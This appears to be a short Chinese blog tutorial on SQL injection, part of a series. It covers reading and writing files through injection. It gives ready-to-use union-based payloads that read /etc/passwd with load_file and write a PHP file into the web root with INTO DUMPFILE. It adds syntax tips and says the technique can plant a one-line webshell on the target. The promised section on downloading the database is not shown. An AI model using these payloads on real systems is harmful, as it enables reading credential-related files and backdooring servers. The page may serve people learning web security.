SQL注入：4.SQL注入利用-读写文件和下载数据库

文章目录 读取文件 写文件 保存下载数据库 读取文件 ’ union SELECT null, load_file(’/etc/passwd’)–+ 注意：不要忘了–后有空格，否则语法错误 写文件 ’ union select null,“写入的内容” INTO DUMPFILE “/var/ www/a.php” --+ 注意：不要忘了–后有空格，否则语法错误 我们可以将一句话木马写入对面系统。

>>阅读原文<<